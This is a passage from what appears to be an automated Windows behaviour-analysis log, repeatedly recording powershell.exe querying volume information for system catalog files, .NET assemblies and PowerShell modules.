    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
